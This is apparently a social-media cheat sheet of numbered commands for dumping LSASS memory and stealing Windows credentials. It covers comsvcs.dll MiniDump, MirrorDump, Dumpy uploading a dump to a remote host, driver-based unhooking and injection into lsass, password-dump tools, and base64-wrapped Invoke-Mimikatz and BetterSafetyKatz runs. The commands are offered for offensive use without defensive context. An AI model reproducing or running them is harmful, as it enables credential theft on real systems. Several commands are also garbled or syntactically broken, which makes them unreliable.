Methods:
regsvr32 comsvcs.dll rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump lsass.exe lsass.dmp full#0x42 > MirrorDump
Methods:
.\MirrorDump.exe -f “NotLSASS.zip” -d “LegitLSAPlugin.dll” -l 1073741824#0x43 >Dumpy
Methods:
dumpy.exe dump -k secretKey -u http://remotehost/upload force#0x44 >RToolZ+ProcExp152.sys
Methods:
.\procexp64.exe -accepteula /t RToolZ -p#0x45>SharpUnhooker+LsassUnhooker
Methods:
LsassUnhooker.exe -r SharpUnhooker.exe inject --process lsass.exe --modulepath ReflectiveDLL.dll SharpUnhooker.exe dump --process lsass.exe --output lsass_dump.bin#0x46 >hashdump
Methods:
Kldumper.exe laZagne_x64.exe PwDump7.exe QuarksPwDump.exe SqlDumper.exe Wce_x64.exe SAMInside.exe#0x47 >Mimikatz+Invoke-Obfuscation
Methods:
Invoke-Obfuscation -ScriptBlock { [System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes(‘C:\mimikatz.exe’)) } -Command ‘Invoke-Expression ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(“JABzAD0ATwB2AGkAZQBzAC4AQwBvAG0AbQBhAG4AQQB0AHIAZQBzAEMAaABhAG4AZAAoAFsAUwB5AHMAdABlAG0ALgBDAHIAZQBzAG8AXQAuAFQAcgBpAGMAeQBTAHQAcgBlAGEAbQAuAEEAcABwAG8AcgB0AGwAZQBOAGEAbQBlAFMAdABpAG4AZwBdACkAIAB8ACAACgAkAHMAdwB3AG8AcgBkACAAPQAgAFsAcwBdAC4AVwBpAG4AZABvAHcAbgBhAGwAaQB6AGUAXQAoAFsAUwB5AHMAdABlAG0ALgBJAG4AdgBpAGQAZQBJAHQAKAAiAEMAaABhAG4AZAAoAFsAUwB5AHMAdABlAG0ALgBDAG8AbQBwAHIAZQBzAGgAZQBuAGQAKQBdAC4AQQBzAHMAZQBtAGIAbABlAC4AVABvAHAAYwBvAG4AcwB0AHIAYQB0AGUAZAAoACcAKwAnACsAJwApAC4AUABhAGMAZQBuAHQAYQB0AGUAUwB0AGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEkAbgB2AGkAZABlAEkAdAAoACcARQB4AGkAbgBzAGMAcgBpAHAAbwB3AGUAcgBzAGgAZQBuAGMAaABpAG8AbgBzAHQAcgBpAG4AZwAnACkAKQBdACkA”)]))’Import-Module PowerSploit Invoke-Mimikatz -DumpCreds#0x48 > BetterSafetyKatz
Methods
: .\BetterSafetyKatz.exe .\BetterSafetyKatz.exe ‘.\mimikatz_trunk.zip’
Sekurlsa::minidump
#lass
@PfkSecurity